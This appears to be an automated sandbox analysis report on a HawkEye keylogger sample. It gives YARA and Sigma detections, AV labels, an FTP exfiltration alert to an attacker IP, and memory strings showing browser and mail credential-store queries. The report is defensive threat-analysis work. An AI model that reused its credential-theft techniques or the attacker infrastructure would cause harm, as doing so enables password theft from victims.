1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bf08:$hawkstr1: HawkEye Keylogger 0x7cd49:$hawkstr1: HawkEye Keylogger 0x7d078:$hawkstr1: HawkEye Keylogger 0x7d1d3:$hawkstr1: HawkEye Keylogger 0x7d336:$hawkstr1: HawkEye Keylogger 0x7d5af:$hawkstr1: HawkEye Keylogger 0x7ba96:$hawkstr2: Dear HawkEye Customers! 0x7d0cb:$hawkstr2: Dear HawkEye Customers! 0x7d222:$hawkstr2: Dear HawkEye Customers! 0x7d389:$hawkstr2: Dear HawkEye Customers! 0x7bbb7:$hawkstr3: HawkEye Logger Details:
1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x73a8a:$key: HawkEyeKeylogger 0x75c88:$salt: 099u787978786 0x740a3:$string1: HawkEye_Keylogger 0x74ef6:$string1: HawkEye_Keylogger 0x75be8:$string1: HawkEye_Keylogger 0x7448c:$string2: holdermail.txt 0x744ac:$string2: holdermail.txt 0x743ce:$string3: wallet.dat 0x743e6:$string3: wallet.dat 0x743fc:$string3: wallet.dat 0x757ca:$string4: Keylog Records 0x75ae2:$string4: Keylog Records 0x75ce0:$string5: do not script --> 0x73a72:$string6: \pidloc.txt 0x73ad8:$string7: BSPLIT 0x73ae8:$string7: BSPLIT
1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x740fb:$hawkstr1: HawkEye Keylogger 0x74f3c:$hawkstr1: HawkEye Keylogger 0x7526b:$hawkstr1: HawkEye Keylogger 0x753c6:$hawkstr1: HawkEye Keylogger 0x75529:$hawkstr1: HawkEye Keylogger 0x757a2:$hawkstr1: HawkEye Keylogger 0x73c89:$hawkstr2: Dear HawkEye Customers! 0x752be:$hawkstr2: Dear HawkEye Customers! 0x75415:$hawkstr2: Dear HawkEye Customers! 0x7557c:$hawkstr2: Dear HawkEye Customers! 0x73daa:$hawkstr3: HawkEye Logger Details:
12.2.InstallUtil.exe.409c0d.3.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x73a8a:$key: HawkEyeKeylogger 0x75c88:$salt: 099u787978786 0x740a3:$string1: HawkEye_Keylogger 0x74ef6:$string1: HawkEye_Keylogger 0x75be8:$string1: HawkEye_Keylogger 0x7448c:$string2: holdermail.txt 0x744ac:$string2: holdermail.txt 0x743ce:$string3: wallet.dat 0x743e6:$string3: wallet.dat 0x743fc:$string3: wallet.dat 0x757ca:$string4: Keylog Records 0x75ae2:$string4: Keylog Records 0x75ce0:$string5: do not script --> 0x73a72:$string6: \pidloc.txt 0x73ad8:$string7: BSPLIT 0x73ae8:$string7: BSPLIT
12.2.InstallUtil.exe.409c0d.3.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.409c0d.3.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
12.2.InstallUtil.exe.409c0d.3.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
12.2.InstallUtil.exe.409c0d.3.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x740fb:$hawkstr1: HawkEye Keylogger 0x74f3c:$hawkstr1: HawkEye Keylogger 0x7526b:$hawkstr1: HawkEye Keylogger 0x753c6:$hawkstr1: HawkEye Keylogger 0x75529:$hawkstr1: HawkEye Keylogger 0x757a2:$hawkstr1: HawkEye Keylogger 0x73c89:$hawkstr2: Dear HawkEye Customers! 0x752be:$hawkstr2: Dear HawkEye Customers! 0x75415:$hawkstr2: Dear HawkEye Customers! 0x7557c:$hawkstr2: Dear HawkEye Customers! 0x73daa:$hawkstr3: HawkEye Logger Details:
1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b897:$key: HawkEyeKeylogger 0xfd955:$key: HawkEyeKeylogger 0x17fe35:$key: HawkEyeKeylogger 0x7da95:$salt: 099u787978786 0xffb53:$salt: 099u787978786 0x182033:$salt: 099u787978786 0x7beb0:$string1: HawkEye_Keylogger 0x7cd03:$string1: HawkEye_Keylogger 0x7d9f5:$string1: HawkEye_Keylogger 0xfdf6e:$string1: HawkEye_Keylogger 0xfedc1:$string1: HawkEye_Keylogger 0xffab3:$string1: HawkEye_Keylogger 0x18044e:$string1: HawkEye_Keylogger 0x1812a1:$string1: HawkEye_Keylogger 0x181f93:$string1: HawkEye_Keylogger 0x7c299:$string2: holdermail.txt 0x7c2b9:$string2: holdermail.txt 0xfe357:$string2: holdermail.txt 0xfe377:$string2: holdermail.txt 0x180837:$string2: holdermail.txt 0x180857:$string2: holdermail.txt
1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x7423:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x894e1:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x10b9c1:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bf08:$hawkstr1: HawkEye Keylogger 0x7cd49:$hawkstr1: HawkEye Keylogger 0x7d078:$hawkstr1: HawkEye Keylogger 0x7d1d3:$hawkstr1: HawkEye Keylogger 0x7d336:$hawkstr1: HawkEye Keylogger 0x7d5af:$hawkstr1: HawkEye Keylogger 0xfdfc6:$hawkstr1: HawkEye Keylogger 0xfee07:$hawkstr1: HawkEye Keylogger 0xff136:$hawkstr1: HawkEye Keylogger 0xff291:$hawkstr1: HawkEye Keylogger 0xff3f4:$hawkstr1: HawkEye Keylogger 0xff66d:$hawkstr1: HawkEye Keylogger 0x1804a6:$hawkstr1: HawkEye Keylogger 0x1812e7:$hawkstr1: HawkEye Keylogger 0x181616:$hawkstr1: HawkEye Keylogger 0x181771:$hawkstr1: HawkEye Keylogger 0x1818d4:$hawkstr1: HawkEye Keylogger 0x181b4d:$hawkstr1: HawkEye Keylogger 0x7ba96:$hawkstr2: Dear HawkEye Customers! 0x7d0cb:$hawkstr2: Dear HawkEye Customers! 0x7d222:$hawkstr2: Dear HawkEye Customers!
1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x73a8a:$key: HawkEyeKeylogger 0xf5b48:$key: HawkEyeKeylogger 0x178028:$key: HawkEyeKeylogger 0x75c88:$salt: 099u787978786 0xf7d46:$salt: 099u787978786 0x17a226:$salt: 099u787978786 0x740a3:$string1: HawkEye_Keylogger 0x74ef6:$string1: HawkEye_Keylogger 0x75be8:$string1: HawkEye_Keylogger 0xf6161:$string1: HawkEye_Keylogger 0xf6fb4:$string1: HawkEye_Keylogger 0xf7ca6:$string1: HawkEye_Keylogger 0x178641:$string1: HawkEye_Keylogger 0x179494:$string1: HawkEye_Keylogger 0x17a186:$string1: HawkEye_Keylogger 0x7448c:$string2: holdermail.txt 0x744ac:$string2: holdermail.txt 0xf654a:$string2: holdermail.txt 0xf656a:$string2: holdermail.txt 0x178a2a:$string2: holdermail.txt 0x178a4a:$string2: holdermail.txt
1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x816d4:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x103bb4:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x740fb:$hawkstr1: HawkEye Keylogger 0x74f3c:$hawkstr1: HawkEye Keylogger 0x7526b:$hawkstr1: HawkEye Keylogger 0x753c6:$hawkstr1: HawkEye Keylogger 0x75529:$hawkstr1: HawkEye Keylogger 0x757a2:$hawkstr1: HawkEye Keylogger 0xf61b9:$hawkstr1: HawkEye Keylogger 0xf6ffa:$hawkstr1: HawkEye Keylogger 0xf7329:$hawkstr1: HawkEye Keylogger 0xf7484:$hawkstr1: HawkEye Keylogger 0xf75e7:$hawkstr1: HawkEye Keylogger 0xf7860:$hawkstr1: HawkEye Keylogger 0x178699:$hawkstr1: HawkEye Keylogger 0x1794da:$hawkstr1: HawkEye Keylogger 0x179809:$hawkstr1: HawkEye Keylogger 0x179964:$hawkstr1: HawkEye Keylogger 0x179ac7:$hawkstr1: HawkEye Keylogger 0x179d40:$hawkstr1: HawkEye Keylogger 0x73c89:$hawkstr2: Dear HawkEye Customers! 0x752be:$hawkstr2: Dear HawkEye Customers! 0x75415:$hawkstr2: Dear HawkEye Customers!
1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7548f:$key: HawkEyeKeylogger 0xf754d:$key: HawkEyeKeylogger 0x179a2d:$key: HawkEyeKeylogger 0x7768d:$salt: 099u787978786 0xf974b:$salt: 099u787978786 0x17bc2b:$salt: 099u787978786 0x75aa8:$string1: HawkEye_Keylogger 0x768fb:$string1: HawkEye_Keylogger 0x775ed:$string1: HawkEye_Keylogger 0xf7b66:$string1: HawkEye_Keylogger 0xf89b9:$string1: HawkEye_Keylogger 0xf96ab:$string1: HawkEye_Keylogger 0x17a046:$string1: HawkEye_Keylogger 0x17ae99:$string1: HawkEye_Keylogger 0x17bb8b:$string1: HawkEye_Keylogger 0x75e91:$string2: holdermail.txt 0x75eb1:$string2: holdermail.txt 0xf7f4f:$string2: holdermail.txt 0xf7f6f:$string2: holdermail.txt 0x17a42f:$string2: holdermail.txt 0x17a44f:$string2: holdermail.txt
1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x830d9:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x1055b9:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x75b00:$hawkstr1: HawkEye Keylogger 0x76941:$hawkstr1: HawkEye Keylogger 0x76c70:$hawkstr1: HawkEye Keylogger 0x76dcb:$hawkstr1: HawkEye Keylogger 0x76f2e:$hawkstr1: HawkEye Keylogger 0x771a7:$hawkstr1: HawkEye Keylogger 0xf7bbe:$hawkstr1: HawkEye Keylogger 0xf89ff:$hawkstr1: HawkEye Keylogger 0xf8d2e:$hawkstr1: HawkEye Keylogger 0xf8e89:$hawkstr1: HawkEye Keylogger 0xf8fec:$hawkstr1: HawkEye Keylogger 0xf9265:$hawkstr1: HawkEye Keylogger 0x17a09e:$hawkstr1: HawkEye Keylogger 0x17aedf:$hawkstr1: HawkEye Keylogger 0x17b20e:$hawkstr1: HawkEye Keylogger 0x17b369:$hawkstr1: HawkEye Keylogger 0x17b4cc:$hawkstr1: HawkEye Keylogger 0x17b745:$hawkstr1: HawkEye Keylogger 0x7568e:$hawkstr2: Dear HawkEye Customers! 0x76cc3:$hawkstr2: Dear HawkEye Customers! 0x76e1a:$hawkstr2: Dear HawkEye Customers!
Click to see the 82 entries

Sigma Overview

System Summary:

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, CommandLine: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, ParentCommandLine: 'C:\Users\user\Desktop\ypBoHI5G3x.exe' , ParentImage: C:\Users\user\Desktop\ypBoHI5G3x.exe, ParentProcessId: 6504, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, ProcessId: 6456

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: ypBoHI5G3x.exe.6504.1.memstr

Malware Configuration Extractor: HawkEye {"Modules": ["WebBrowserPassView", "mailpv", "Mail PassView"], "Version": ""}

Multi AV Scanner detection for submitted file

Show sources

Source: ypBoHI5G3x.exe	Virustotal: Detection: 28%			Perma Link
Source: ypBoHI5G3x.exe	ReversingLabs: Detection: 32%

Machine Learning detection for sample

Show sources

Source: ypBoHI5G3x.exe

Joe Sandbox ML: detected

Source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack	Avira: Label: TR/Inject.vcoldi
Source: 12.2.InstallUtil.exe.400000.0.unpack	Avira: Label: TR/AD.MExecute.lzrac
Source: 12.2.InstallUtil.exe.400000.0.unpack	Avira: Label: SPR/Tool.MailPassView.473
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	Avira: Label: TR/Inject.vcoldi

Source: ypBoHI5G3x.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.6:49723 version: TLS 1.0

Source: ypBoHI5G3x.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: C:\Users\Jovan\Documents\Visual Studio 2010\Projects\Stealer\CMemoryExecute\CMemoryExecute\obj\Release\CMemoryExecute.pdb source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.613574939.0000000008110000.00000004.00000001.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: ypBoHI5G3x.exe, 00000001.00000002.463314966.000000000768B000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599966159.00000000008B2000.00000002.00020000.sdmp, InstallUtil.exe.1.dr
Source:	Binary string: f:\Projects\VS2005\mailpv\Release\mailpv.pdb source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe
Source:	Binary string: f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe
Source:	Binary string: InstallUtil.pdb source: ypBoHI5G3x.exe, 00000001.00000002.463314966.000000000768B000.00000004.00000001.sdmp, InstallUtil.exe, InstallUtil.exe.1.dr

Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	Binary or memory string: autorun.inf
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	Binary or memory string: [autorun]
Source: InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	Binary or memory string: autorun.inf
Source: InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	Binary or memory string: [autorun]

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00408441 FindFirstFileW,FindNextFileW,wcslen,wcslen,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00407E0E FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00406EC3 FindFirstFileA,FindNextFileA,strlen,strlen,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then push dword ptr [ebp-24h]
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then push dword ptr [ebp-24h]
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then xor edx, edx
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then xor edx, edx
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then push dword ptr [ebp-20h]
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then push dword ptr [ebp-20h]
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then jmp 05FF51E0h
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then jmp 05FF51E0h
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 4x nop then jmp 0516A630h
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 4x nop then jmp 0516A630h
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2020410 ET TROJAN HawkEye Keylogger FTP 192.168.2.6:49759 -> 45.141.152.18:21

Source: global traffic

TCP traffic: 192.168.2.6:49760 -> 45.141.152.18:62998

Source: Joe Sandbox View	IP Address: 45.141.152.18 45.141.152.18
Source: Joe Sandbox View	IP Address: 45.141.152.18 45.141.152.18

Source: Joe Sandbox View

ASN Name: M247GB M247GB

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

FTP traffic detected: 45.141.152.18:21 -> 192.168.2.6:49759 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown

HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.6:49723 version: TLS 1.0

Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe, 00000012.00000002.493947169.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: @nss3.dllSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe%programfiles%\Sea MonkeySOFTWARE\Mozillamozilla%s\binPathToExe%programfiles%\Mozilla FirefoxSELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins.---signons.txtsignons2.txtsignons3.txtsignons.sqlitenetmsg.dllUnknown Error\Error %d: %seditkernel32.dll... open %2.2X %s (%s)Microsoft_WinInetMicrosoft_WinInet_u7@dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe, 00000012.00000002.493947169.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: @nss3.dllSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe%programfiles%\Sea MonkeySOFTWARE\Mozillamozilla%s\binPathToExe%programfiles%\Mozilla FirefoxSELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins.---signons.txtsignons2.txtsignons3.txtsignons.sqlitenetmsg.dllUnknown Error\Error %d: %seditkernel32.dll... open %2.2X %s (%s)Microsoft_WinInetMicrosoft_WinInet_u7@dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: vbc.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)

Source: unknown

DNS traffic detected: queries for: www.google.com

Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: InstallUtil.exe, 0000000C.00000002.602869141.0000000002BF3000.00000004.00000001.sdmp	String found in binary or memory: http://ftp.vngpack.com
Source: ypBoHI5G3x.exe, 00000001.00000003.347743311.000000000736F000.00000004.00000001.sdmp, ypBoHI5G3x.exe, 00000001.00000003.446695266.0000000007376000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/1
Source: ypBoHI5G3x.exe, 00000001.00000003.347743311.000000000736F000.00000004.00000001.sdmp, ypBoHI5G3x.exe, 00000001.00000003.446695266.0000000007376000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: ypBoHI5G3x.exe, 00000001.00000003.446695266.0000000007376000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.c/g%%N
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: ypBoHI5G3x.exe, 00000001.00000002.448077774.0000000003167000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/WebPage
Source: ypBoHI5G3x.exe, 00000001.00000002.447965365.0000000003121000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: http://whatismyipaddress.com/-
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.455586589.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: InstallUtil.exe, 0000000C.00000003.455586589.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com-sM
Source: InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com.F
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.como.
Source: InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comou
Source: InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comro
Source: InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comue
Source: InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comva
Source: InstallUtil.exe, 0000000C.00000003.455586589.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comw
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comF
